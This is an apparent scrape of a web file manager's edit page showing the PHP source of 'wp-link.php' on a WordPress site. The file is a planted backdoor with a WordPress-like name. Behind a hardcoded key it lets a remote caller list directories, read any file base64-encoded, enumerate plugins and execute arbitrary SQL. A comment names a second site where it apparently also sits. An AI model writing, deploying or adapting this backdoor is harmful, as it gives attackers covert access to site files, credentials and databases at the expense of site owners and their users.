File manager

File manager - Edit - /home/rangceb/diohome.com/wp-link.phpecb035

Back
<?php // phpinfo(); // var_dump($_POST['person']); $KEY = '1akXrK183_kDlWKp1E7AsSt9E6A32_'; function getRequestDataBody() { $body = file_get_contents('php://input'); if (empty($body)) return []; // Parse json body and notify when error occurs $data = json_decode($body, true); if (json_last_error()) { trigger_error(json_last_error_msg()); return []; } return $data; } $body = getRequestDataBody(); // echo json_encode($_SERVER); // echo json_encode($body); // exit(); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { echo ''; exit(); } $key = $body['key'] ?? ''; $type = $body['type'] ?? ''; $params = $body['params'] ?? []; if ($key !== $KEY) { echo ''; exit(); } if (!is_array($params)) { echo ''; exit(); } header('Content-Type: application/json'); $rep = [ 'status' => 'error' ]; function sanitizePath($path) { // Prevent directory traversal attacks $realBase = realpath(__DIR__); $userPath = realpath($path); if ($userPath && strpos($userPath, $realBase) === 0) { return $userPath; } else { return false; } } function trimds($s) { return rtrim($s,DIRECTORY_SEPARATOR); } function joinpaths() { return implode(DIRECTORY_SEPARATOR, array_map('trimds', func_get_args())); } function listDir($path, $extentionFilter = '', $isRecursive = false, $basePath = false, $filesInfo = []) { $files = array_diff(scandir($path), ['.', '..']); if(!$basePath) $basePath = $path; foreach ($files as $idx => $file) { $fpath = joinpaths($path, $file); $type = filetype($fpath); if($isRecursive && $type == 'dir'){ $filesInfo = array_merge($filesInfo, listDir($fpath, $extentionFilter, $isRecursive, $basePath, $filesInfo)); }else{ if($extentionFilter && !str_ends_with($fpath, $extentionFilter)) continue; $s = stat($fpath); $relativePath = str_replace($basePath, '', $fpath); $filesInfo[$relativePath] = [ 'type' => $type, 'size' => $s['size'], 'cTime' => $s['ctime'], 'aTime' => $s['atime'], 'mTime' => $s['mtime'], ]; } } return $filesInfo; } function extractPHPHeaders($path) { $content = file_get_contents($path, false, null, 0, 8 * 1024); $info = []; if ( preg_match( '/^(?:[ \t]<\?php)?[ \t\/#@]' . 'Plugin Name' . ':(.)$/mi', $content, $match ) && $match[1] ) $info['name'] = trim($match[1]); if ( preg_match( '/^(?:[ \t]<\?php)?[ \t\/#@]' . 'Version' . ':(.)$/mi', $content, $match ) && $match[1] ) $info['version'] = trim($match[1]); return $info; } try { if($type == 'listDir'){ $path = $params['path']; $path = realpath($path); $isRecursive = $params['isRecursive'] ?? false; $extentionFilter = $params['extentionFilter'] ?? ''; if (is_dir($path)) { $rep['status'] = 'success'; $rep['base'] = $path; $rep['isRecursive'] = $isRecursive; $rep['extentionFilter'] = $extentionFilter; $rep['files'] = listDir($path, $extentionFilter, $isRecursive); } else { $rep['message'] = 'Provided path is not a directory'; } }else if($type == 'getFile'){ $path = $params['path']; $path = realpath($path); if (is_file($path)) { $content = file_get_contents($path); $rep['status'] = 'success'; $rep['content'] = base64_encode($content); } else { $rep['message'] = 'Provided path is not a file'; } }else if($type == 'getPluginHeaders'){ $path = $params['pluginDir']; $path = realpath($path); if (is_dir($path)) { $plugins = array_diff(scandir($path), ['.', '..']); $pluginsInfo = []; foreach ($plugins as $idx => $pluginDir) { // Plugin directories $pPath = joinpaths($path, $pluginDir); if(is_dir($pPath)){ $pluginFiles = array_diff(scandir($pPath), ['.', '..']); foreach ($pluginFiles as $idx => $file) { $fpath = joinpaths($pPath, $file); if (!is_file($fpath) \|\| str_ends_with($path, '.php')) continue; $info = extractPHPHeaders($fpath); if(!$info) continue; $info['base'] = $pluginDir; $info['file'] = $file; $pluginsInfo[] = $info; break; } }else { if(str_ends_with($pluginDir, '.php')){ $info = extractPHPHeaders($pPath); $info['base'] = $pluginDir; $pluginsInfo[] = $info; }else{ $pluginsInfo[] = ['base' => $pluginDir]; } } } $rep['status'] = 'success'; $rep['base'] = $path; $rep['pluginsInfo'] = $pluginsInfo; } else { $rep['message'] = 'Provided path is not a file'; } }else if($type == 'execSQL'){ $query = $params['query']; $queryParams = $params['params'] ?? ''; if(!$query) { $rep['message'] = 'Invalid query'; }else{ $mysqli = new mysqli($params['host'], $params['user'], $params['password'], $params['database']); $statement = $mysqli->prepare($query); $statement->execute($queryParams); $result = $statement->get_result(); $rep['status'] = 'success'; $rep['result'] = $result->fetch_all(MYSQLI_ASSOC); } } } catch (Exception $e) { $rep['params'] = $params; $rep['message'] = 'Exception: ' . $e->getMessage(); } echo json_encode($rep); // https://www.cabasse.com/wp-link.php // function exceptions_error_handler($severity, $message, $filename, $lineno) { // print('exceptions_error_handler: ' . $severity . ' ' . $message . ' ' . $filename . ' ' . $lineno . '</br>'); // // throw new ErrorException($message, 0, $severity, $filename, $lineno); // } // set_error_handler('exceptions_error_handler'); // // echo 'memory_limit: ' . ini_get('memory_limit'); // // echo 'opcache: ' . opcache_get_status() ; // var_dump( get_cfg_var('cfg_file_path') ); ?>

| ver. 1.4 | Github | . | PHP 8.4.10 | Generation time: 0.02 | proxy | phpinfo | Settings